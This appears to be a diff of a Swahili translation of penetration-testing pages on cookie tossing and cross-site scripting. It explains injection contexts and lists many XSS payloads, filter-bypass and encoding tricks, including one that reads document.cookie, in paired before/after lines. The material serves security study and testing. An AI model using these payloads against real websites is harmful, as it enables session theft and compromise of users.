Kulingana na nani ana **njia maalum zaidi** au ambayo ni **ya zamani zaidi**, kivinjari kita **weka thamani ya cookie kwanza** na kisha thamani ya nyingine kama katika: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
Mara nyingi **tovuti zitatumia tu thamani ya kwanza**. Kisha, ikiwa mshambuliaji anataka kuweka cookie ni bora kuiweka kabla ya nyingine kuwekwa au kuiweka na njia maalum zaidi.
Mengi ya **tovuti zitatumia tu thamani ya kwanza**. Kisha, ikiwa mshambuliaji anataka kuweka cookie ni bora kuiweka kabla ya nyingine kuwekwa au kuiweka na njia maalum zaidi.
> [!WARNING]
> Zaidi ya hayo, uwezo wa **kuweka cookie katika njia maalum zaidi** ni wa kuvutia kwani utaweza kumfanya **mwathirika afanye kazi na cookie yake isipokuwa katika njia maalum ambapo cookie mbaya itatumwa kwanza**.
> Zaidi ya hayo, uwezo wa **kuweka cookie katika njia maalum zaidi** ni wa kuvutia sana kwani utaweza kumfanya **mwathirika afanye kazi na cookie yake isipokuwa katika njia maalum ambapo cookie mbaya itakayowekwa itatumwa kwanza**.
### Protection Bypass
Ulinzi unaowezekana dhidi ya shambulio hili ungekuwa kwamba **seva ya wavuti haitakubali maombi yenye cookies mbili zenye jina sawa lakini zenye thamani tofauti**.
Ulinzi unaowezekana dhidi ya shambulio hili ungekuwa kwamba **seva ya wavuti haitakubali maombi yenye cookies mbili zenye jina sawa lakini zikiwa na thamani tofauti**.
Ili kupita hali ambapo mshambuliaji anaweka cookie baada ya mwathirika tayari kupatiwa cookie, mshambuliaji anaweza kusababisha **cookie overflow** na kisha, mara **cookie halali itakapofutwa, kuweka ile mbaya**.
Ili kupita hali ambapo mshambuliaji anapoweka cookie baada ya mwathirika tayari kupewa cookie, mshambuliaji anaweza kusababisha **cookie overflow** na kisha, mara tu **cookie halali itakapofutwa, kuweka ile mbaya**.
{{#ref}}
cookie-jar-overflow.md
@ -55,7 +56,7 @@ cookie-bomb.md
#### **Tumia kiambishi `__Host` katika jina la cookie**
- Ikiwa jina la cookie lina kiambishi hiki, **litawekwa tu** katika mwelekeo wa Set-Cookie ikiwa imewekwa Secure, ilitumwa kutoka chanzo salama, haina sifa ya Domain, na ina sifa ya Path iliyowekwa kwa /
- **Hii inazuia subdomains kulazimisha cookie kwa domain ya juu kwani cookies hizi zinaweza kuonekana kama "domain-locked"**
- **Hii inazuia subdomains kulazimisha cookie kuwa kwa domain ya juu kwani cookies hizi zinaweza kuonekana kama "zilizofungwa kwa domain"**
### References

View File

@ -27,7 +27,7 @@
4. Ikiwa **inatumiwa**:
1. Unaweza kutumia **DOM XSS**, zingatia jinsi ingizo lako linavyodhibitiwa na ikiwa **ingizo lako lililodhibitiwa linatumika na sink yoyote.**
Unapofanya kazi kwenye XSS ngumu unaweza kupata ni ya kuvutia kujua kuhusu:
Unapofanya kazi kwenye XSS ngumu unaweza kupata ni muhimu kujua kuhusu:
{{#ref}}
debugging-client-side-js.md
@ -38,16 +38,16 @@ debugging-client-side-js.md
Ili kufanikiwa kutumia XSS, jambo la kwanza unahitaji kupata ni **thamani inayodhibitiwa na wewe inayorudi** kwenye ukurasa wa wavuti.
- **Inarudi kwa kati**: Ikiwa unapata kwamba thamani ya parameta au hata njia inarudi kwenye ukurasa wa wavuti unaweza kutumia **Reflected XSS**.
- **Ilihifadhiwa na kurudi**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe imehifadhiwa kwenye seva na inarudi kila wakati unapoingia kwenye ukurasa unaweza kutumia **Stored XSS**.
- **Ilihifadhiwa na inarudi**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe imehifadhiwa kwenye seva na inarudi kila wakati unapoingia kwenye ukurasa unaweza kutumia **Stored XSS**.
- **Inafikiwa kupitia JS**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe inafikiwa kwa kutumia JS unaweza kutumia **DOM XSS**.
## Contexts
Unapojaribu kutumia XSS, jambo la kwanza unahitaji kujua ni **wapi ingizo lako linaporudi**. Kulingana na muktadha, utaweza kutekeleza JS code isiyo na mipaka kwa njia tofauti.
Unapojaribu kutumia XSS, jambo la kwanza unahitaji kujua ni **wapi ingizo lako linavyorudi**. Kulingana na muktadha, utaweza kutekeleza JS code bila mipaka kwa njia tofauti.
### Raw HTML
Ikiwa ingizo lako **linarudi kwenye HTML safi** ukurasa utahitaji kutumia baadhi ya **HTML tag** ili kutekeleza JS code: `<img , <iframe , <svg , <script` ... hizi ni baadhi tu ya vitambulisho vingi vya HTML ambavyo unaweza kutumia.\
Ikiwa ingizo lako **linarudi kwenye ukurasa wa HTML safi** utahitaji kutumia baadhi ya **HTML tag** ili kutekeleza JS code: `<img , <iframe , <svg , <script` ... hizi ni baadhi tu ya vitambulisho vingi vya HTML ambavyo unaweza kutumia.\
Pia, kumbuka [Client Side Template Injection](../client-side-template-injection-csti.md).
### Ndani ya sifa za HTML tags
@ -56,8 +56,8 @@ Ikiwa ingizo lako linarudi ndani ya thamani ya sifa ya tag unaweza kujaribu:
1. Kutoroka **kutoka kwenye sifa na kutoka kwenye tag** (kisha utakuwa kwenye HTML safi) na kuunda vitambulisho vipya vya HTML ili kutumia: `"><img [...]`
2. Ikiwa **unaweza kutoroka kutoka kwenye sifa lakini si kutoka kwenye tag** (`>` imeandikwa au kufutwa), kulingana na tag unaweza **kuunda tukio** linalotekeleza JS code: `" autofocus onfocus=alert(1) x="`
3. Ikiwa **huwezi kutoroka kutoka kwenye sifa** (`"` inandikwa au kufutwa), basi kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code isiyo na mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia protokali `javascript:` kutekeleza code isiyo na mipaka: **`href="javascript:alert(1)"`**
4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="`**
3. Ikiwa **huwezi kutoroka kutoka kwenye sifa** (`"` inandikwa au kufutwa), kisha kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code bila mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia protokali `javascript:` kutekeleza code bila mipaka: **`href="javascript:alert(1)"`**
4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** ili kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="`**
Mfano wa ajabu wa Angular inatekeleza XSS ikiwa unadhibiti jina la darasa:
```html
@ -69,8 +69,8 @@ Mfano wa ajabu wa Angular inatekeleza XSS ikiwa unadhibiti jina la darasa:
Katika kesi hii, ingizo lako linarejelewa kati ya **`<script> [...] </script>`** lebo za ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa kwa kutumia **`javascript:`** itifaki:
- Ikiwa inarejelewa kati ya **`<script> [...] </script>`** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakiwezi kugundua kwamba lebo yako ya kuingiza `</script>` iko ndani ya msimbo wa HTML.
- Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kufanya** msimbo wako na **kurekebisha** msimbo wa JS (ikiwa kuna kosa lolote, halitatekelezwa):
- Ikiwa inarejelewa kati ya **`<script> [...] </script>`** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakitagundua kwamba lebo yako ya kuingiza `</script>` iko ndani ya msimbo wa HTML.
- Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kutekeleza** msimbo wako na **kurekebisha** msimbo wa JS (ikiwa kuna kosa lolote, halita tekelezwa):
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
@ -83,7 +83,7 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting inahusisha fursa ya **kutangaza kazi, mabadiliko au madarasa baada ya kutumika ili uweze kutumia hali ambapo XSS inatumia mabadiliko au kazi zisizotangazwa.**\
Javascript Hoisting inahusisha fursa ya **kutangaza kazi, mabadiliko au madarasa baada ya matumizi yao ili uweze kutumia hali ambapo XSS inatumia mabadiliko au kazi zisizotangazwa.**\
**Angalia ukurasa ufuatao kwa maelezo zaidi:**
{{#ref}}
@ -98,9 +98,9 @@ Njia nzuri ya kugundua ikiwa kitu kilichotolewa moja kwa moja na mtumiaji kinaja
![](<../../images/image (711).png>)
Ikiwa ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu uta **thibitisha maudhui** ili kuruhusu herufi, nambari, alama za nukta na viwango vya chini tu (**`[\w\._]`**).
Iwapo ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu utakuwa **ukithibitisha maudhui** ili kuruhusu herufi, nambari, alama za nukta na alama za chini (**`[\w\._]`**).
Hata hivyo, hata na kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi hizo halali ili **kufikia kipengele chochote katika DOM**:
Hata hivyo, hata na kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi hizo halali ili **kufikia kipengee chochote katika DOM**:
![](<../../images/image (747).png>)
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
### DOM
Kuna **kodі ya JS** inayotumia **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza kodі ya JS isiyo na mipaka.
Kuna **kodhi ya JS** inayotumia **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodhi ya JS isiyo na mipaka.
{{#ref}}
dom-xss.md
@ -132,7 +132,7 @@ dom-xss.md
### **Universal XSS**
Aina hii ya XSS inaweza kupatikana **popote**. Hazitegemei tu utekaji wa mteja wa programu ya wavuti bali katika **muktadha** **wowote**. Aina hii ya **utekaji wa JavaScript isiyo na mipaka** inaweza hata kutumiwa kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\
Aina hii ya XSS inaweza kupatikana **popote**. Hazitegemei tu utekaji wa mteja wa programu ya wavuti bali katika **muktadha wowote**. Aina hii ya **utekaji wa JavaScript isiyo na mipaka** inaweza hata kutumiwa kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\
Baadhi ya **esemples**:
{{#ref}}
@ -149,11 +149,11 @@ server-side-xss-dynamic-pdf.md
## Kuingiza ndani ya HTML safi
Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodі ya HTML katika muktadha huu, **jambo** la kwanza unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda lebo mpya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachukuliwa **kama HTML** au **imeondolewa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kutumia kesi hii**.\
Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodhi ya HTML katika muktadha huu, **jambo la kwanza** unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda vitambulisho vipya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachakatwa **HTML** au **kufutwa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kutumia kesi hii**.\
Kwa kesi hizi pia **zingatia** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Kumbuka: Maoni ya HTML yanaweza kufungwa kwa kutumia\*\*\*\*\*\***\***\*`-->`\*\***\***\*au \*\*\*\*\*\***`--!>`\*\*_
Katika kesi hii na ikiwa hakuna orodha nyeusi/nyeupe inayotumika, unaweza kutumia payloads kama:
Katika kesi hii na ikiwa hakuna orodha ya nyeusi/nyeupe inatumika, unaweza kutumia payloads kama:
```html
<script>
alert(1)
@ -161,22 +161,22 @@ alert(1)
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
```
Lakini, ikiwa tags/attributes black/whitelisting inatumika, utahitaji **kujaribu nguvu ambazo tags** unaweza kuunda.\
Mara tu unapopata **tags zipi zinazoruhusiwa**, utahitaji **kujaribu nguvu attributes/events** ndani ya tags zilizopatikana ili kuona jinsi unavyoweza kushambulia muktadha.
Lakini, ikiwa black/whitelisting ya tags/attributes inatumika, utahitaji **kujaribu nguvu ambayo tags** unaweza kuunda.\
Mara tu unapokuwa **umeweza kubaini ni tags zipi zinazoruhusiwa**, utahitaji **kujaribu nguvu attributes/events** ndani ya tags zilizopatikana ili kuona jinsi unavyoweza kushambulia muktadha.
### Tags/Events kujaribu nguvu
### Tags/Events brute-force
Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Copy tags to clipboard**_. Kisha, tuma zote kwa kutumia Burp intruder na angalia ikiwa kuna tags yoyote haikugunduliwa kama mbaya na WAF. Mara tu unapogundua tags zipi unaweza kutumia, unaweza **kujaribu nguvu matukio yote** kwa kutumia tags halali (katika ukurasa huo huo bonyeza _**Copy events to clipboard**_ na ufuate utaratibu sawa kama hapo awali).
Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Copy tags to clipboard**_. Kisha, tuma zote kwa kutumia Burp intruder na angalia ikiwa kuna tags yoyote ambayo haikugunduliwa kama mbaya na WAF. Mara tu unapokuwa umepata ni tags zipi unaweza kutumia, unaweza **kujaribu nguvu matukio yote** kwa kutumia tags halali (katika ukurasa huo huo bonyeza _**Copy events to clipboard**_ na ufuate utaratibu sawa kama hapo awali).
### Tags za kawaida
### Custom tags
Ikiwa huja pata tag halali ya HTML, unaweza kujaribu **kuunda tag ya kawaida** na kutekeleza msimbo wa JS kwa kutumia attribute `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **uangalie kwenye kitu hicho** na **kutekeleza** msimbo:
Ikiwa hujapata tag halali ya HTML, unaweza kujaribu **kuunda tag maalum** na kutekeleza msimbo wa JS kwa kutumia attribute `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **uangalie kwenye kitu hicho** na **utekeleze** msimbo:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Blacklist Bypasses
Ikiwa aina fulani ya blacklist inatumika unaweza kujaribu kuipita kwa mbinu za kipumbavu:
Ikiwa aina fulani ya blacklist inatumika unaweza kujaribu kuipita kwa hila za kipumbavu:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -239,18 +239,18 @@ To check in which characters are decomposed check [here](https://www.compart.com
### Click XSS - Clickjacking
Ikiwa ili kutumia udhaifu unahitaji **mtumiaji kubonyeza kiungo au fomu** yenye data iliyojazwa awali unaweza kujaribu [**kudhulumu Clickjacking**](../clickjacking.md#xss-clickjacking) (ikiwa ukurasa una udhaifu).
Ikiwa ili kutumia udhaifu huo unahitaji **mtumiaji kubonyeza kiungo au fomu** yenye data iliyojazwa awali unaweza kujaribu [**kudhulumu Clickjacking**](../clickjacking.md#xss-clickjacking) (ikiwa ukurasa una udhaifu).
### Impossible - Dangling Markup
Ikiwa unafikiri tu kwamba **haiwezekani kuunda tag ya HTML yenye sifa ya kutekeleza msimbo wa JS**, unapaswa kuangalia [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) kwa sababu unaweza **kutumia** udhaifu **bila** kutekeleza **msimbo wa JS**.
Ikiwa unafikiri tu kwamba **haiwezekani kuunda tag ya HTML yenye sifa ya kutekeleza msimbo wa JS**, unapaswa kuangalia [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)kwa sababu unaweza **kutumia** udhaifu huo **bila** kutekeleza **JS** msimbo.
## Injecting inside HTML tag
### Inside the tag/escaping from attribute value
Ikiwa uko **ndani ya tag ya HTML**, jambo la kwanza unaloweza kujaribu ni **kutoroka** kutoka kwa tag na kutumia baadhi ya mbinu zilizotajwa katika [sehemu ya awali](#injecting-inside-raw-html) kutekeleza msimbo wa JS.\
Ikiwa **huwezi kutoroka kutoka kwa tag**, unaweza kuunda sifa mpya ndani ya tag kujaribu kutekeleza msimbo wa JS, kwa mfano kutumia payload kama (_kumbuka kwamba katika mfano huu nukuu mbili zinatumika kutoroka kutoka kwa sifa, hutahitaji hizo ikiwa ingizo lako linarejelewa moja kwa moja ndani ya tag_):
Ikiwa huwezi **kutoroka kutoka kwa tag**, unaweza kuunda sifa mpya ndani ya tag kujaribu kutekeleza msimbo wa JS, kwa mfano kutumia payload kama (_kumbuka kwamba katika mfano huu nukuu mbili zinatumika kutoroka kutoka kwa sifa, hutahitaji hizo ikiwa ingizo lako linarejelewa moja kwa moja ndani ya tag_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -267,12 +267,12 @@ Ikiwa **huwezi kutoroka kutoka kwa tag**, unaweza kuunda sifa mpya ndani ya tag
```
### Ndani ya sifa
Hata kama huwezi **kutoroka kutoka kwa sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa gani** thamani yako inarejelewa **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobofya.\
Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `javascript:` kutekeleza msimbo wa kiholela: **`href="javascript:alert(1)"`**
Hata kama huwezi **kutoroka kutoka kwenye sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa ipi** thamani yako inarudishwa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobofya.\
Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki `javascript:` kutekeleza msimbo wa kiholela: **`href="javascript:alert(1)"`**
**Kutoroka ndani ya tukio kwa kutumia uandishi wa HTML/URL encode**
**Kutoroka ndani ya tukio kwa kutumia uandishi wa HTML/kuandika URL**
**Herufi zilizokodishwa za HTML** ndani ya thamani ya sifa za vitambulisho vya HTML zinatolewa **wakati wa utekelezaji**. Hivyo basi kitu kama ifuatavyo kitakuwa halali (mzigo uko kwenye maandiko makubwa): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Rudi Nyuma </a>`
**Herufi zilizokodishwa za HTML** ndani ya thamani ya sifa za vitambulisho vya HTML zinatolewa **wakati wa kutekeleza**. Hivyo basi kitu kama ifuatavyo kitakuwa halali (mzigo uko kwenye maandiko makubwa): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Rudi Nyuma </a>`
Kumbuka kwamba **aina yoyote ya uandishi wa HTML ni halali**:
```javascript
@ -301,9 +301,9 @@ Kumbuka kwamba **aina yoyote ya uandishi wa HTML ni halali**:
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
```
### Protokali Maalum Ndani ya sifa
### Mipango Maalum Ndani ya sifa
Hapa unaweza kutumia protokali **`javascript:`** au **`data:`** katika baadhi ya maeneo ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na zingine hazitahitaji.
Hapa unaweza kutumia mipango **`javascript:`** au **`data:`** katika baadhi ya maeneo ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na zingine hazitahitaji.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Mahali ambapo unaweza kuingiza protokali hizi**
**Kwa ujumla** protokali ya `javascript:` inaweza **kutumika katika tag yoyote inayokubali sifa `href`** na katika **zaidi ya** tag nyingi zinazokubali **sifa `src`** (lakini si `<img>`)
**Kwa ujumla** protokali ya `javascript:` inaweza **kutumika katika tag yoyote inayokubali sifa `href`** na katika **zaidi ya** tag zinazokubali **sifa `src`** (lakini si `<img>`)
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -347,11 +347,11 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Njia nyingine za kuficha**
_**Katika kesi hii, usimbuaji wa HTML na hila ya usimbuaji wa Unicode kutoka sehemu iliyopita pia ni halali kwani uko ndani ya sifa.**_
_**Katika kesi hii, njia ya uandishi wa HTML na njia ya uandishi wa Unicode kutoka sehemu iliyopita pia ni halali kwani uko ndani ya sifa.**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Zaidi ya hayo, kuna **njia nzuri** nyingine kwa kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapandishwa URL, litakuwa URL decoded kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapandishwa URL**, kumbuka kwamba **haijalishi,** litakuwa **limefasiriwa** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
Zaidi ya hayo, kuna **hila nzuri** kwa kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapewa URL encoding, litakuwa URL decoded kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapewa URL encoding**, kumbuka kwamba **haijalishi,** litakuwa **limefasiriwa** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
@ -401,7 +401,7 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS katika "Madaraja Yasiyoweza Kutumika" (ingizo lililofichwa, kiungo, kanuni, meta)
### XSS katika "Lebo zisizoweza kutumika" (ingizo lililofichwa, kiungo, kanuni, meta)
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibaya ingizo lililofichwa na:**
```html
@ -430,7 +430,7 @@ Kutoka [**hapa**](https://portswigger.net/research/xss-in-hidden-input-fields):
### Kupita kwenye Orodha ya Blacklist
Njia kadhaa za kutumia uandishi tofauti tayari zimefunuliwa ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
Hizi ni mbinu kadhaa za kutumia uandishi tofauti ambazo tayari zimeonyeshwa ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
- **Uandishi wa HTML (vitambulisho vya HTML)**
- **Uandishi wa Unicode (unaweza kuwa msimbo halali wa JS):** `\u0061lert(1)`
@ -438,17 +438,17 @@ Njia kadhaa za kutumia uandishi tofauti tayari zimefunuliwa ndani ya sehemu hii.
- **Uandishi wa Hex na Octal**
- **Uandishi wa data**
**Kupita kwa vitambulisho na sifa za HTML**
**Kupita kwenye vitambulisho na sifa za HTML**
Soma [Kupita kwenye Orodha ya Blacklist ya sehemu ya awali](#blacklist-bypasses).
**Kupita kwa msimbo wa JavaScript**
**Kupita kwenye msimbo wa JavaScript**
Soma [orodha ya kupita ya JavaScript ya sehemu ifuatayo](#javascript-bypass-blacklists-techniques).
Soma [Orodha ya Blacklist ya kupita ya JavaScript ya sehemu ifuatayo](#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo kwenye footer chenye kipengele cha onmouseover), unaweza kujaribu **kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo hicho kufunguliwa.
Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo kwenye footer chenye kipengele cha onmouseover), unaweza kujaribu **kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo hicho kufanyika.
Kwa mfano, unaweza kuongeza mtindo katika kipengele kama: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -460,15 +460,15 @@ na
> \#someid {top: 0; font-family: Tahoma;}
Sasa unaweza kubadilisha kiungo chetu na kukileta katika fomu
Sasa unaweza kubadilisha kiungo chetu na kukileta katika mfumo
> \<a href="" id=someid class=test onclick=alert() a="">
Hila hii ilichukuliwa kutoka [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
Hii mbinu ilichukuliwa kutoka [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
## Kuingiza ndani ya msimbo wa JavaScript
Katika kesi hizi **ingizo** lako litakuwa **limeakisiwa ndani ya msimbo wa JS** wa faili ya `.js` au kati ya vitambulisho vya `<script>...</script>` au kati ya matukio ya HTML yanayoweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`.
Katika kesi hizi **ingizo** lako litakuwa **limeakisiwa ndani ya msimbo wa JS** wa faili ya `.js` au kati ya vitambulisho vya `<script>...</script>` au kati ya matukio ya HTML ambayo yanaweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`.
### Kutoroka \<script> tag
@ -480,7 +480,7 @@ Kumbuka kwamba katika mfano huu **hatujaifunga hata nukta moja**. Hii ni kwa sab
### Ndani ya msimbo wa JS
Ikiwa `<>` zinatakaswa unaweza bado **kuepuka mfuatano** ambapo ingizo lako linapatikana na **kutekeleza JS isiyo na mpangilio**. Ni muhimu **kurekebisha sintaksia ya JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:
Ikiwa `<>` zinatakaswa unaweza bado **kutoroka mfuatano** ambapo ingizo lako lina **patikana** na **kutekeleza JS isiyo ya kawaida**. Ni muhimu **kurekebisha sintaksia ya JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -488,7 +488,7 @@ Ikiwa `<>` zinatakaswa unaweza bado **kuepuka mfuatano** ambapo ingizo lako lina
```
### Template literals \`\`
Ili kujenga **nyuzi** mbali na nukta za moja na mbili, JS pia inakubali **backticks** **` `` `**. Hii inajulikana kama template literals kwani inaruhusu **kuingiza maelekezo ya JS** kwa kutumia sintaksia `${ ... }`.\
Ili kujenga **nyuzi** mbali na nukta moja na mbili, JS pia inakubali **backticks** **` `` `**. Hii inajulikana kama template literals kwani inaruhusu **kuingiza maelekezo ya JS** kwa kutumia sintaksia `${ ... }`.\
Hivyo, ikiwa unapata kuwa ingizo lako linatolewa **ndani ya** nyuzi ya JS inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **kodhi ya JS isiyo na mipaka**:
Hii inaweza **kutumiwa vibaya** kwa kutumia:
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**JavaScript mistari mipya (kutoka** [**JavaScript mistari mipya**](#javascript-new-lines) **hila)**
**JavaScript mipangilio mipya (kutoka** [**JavaScript mipangilio mipya**](#javascript-new-lines) **hila)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@ -737,23 +737,23 @@ top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
```
## **Vikosi vya DOM**
## **Ukatili wa DOM**
Kuna **kodii ya JS** inayotumia **data isiyo salama inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodii ya JS isiyo na mipaka.\
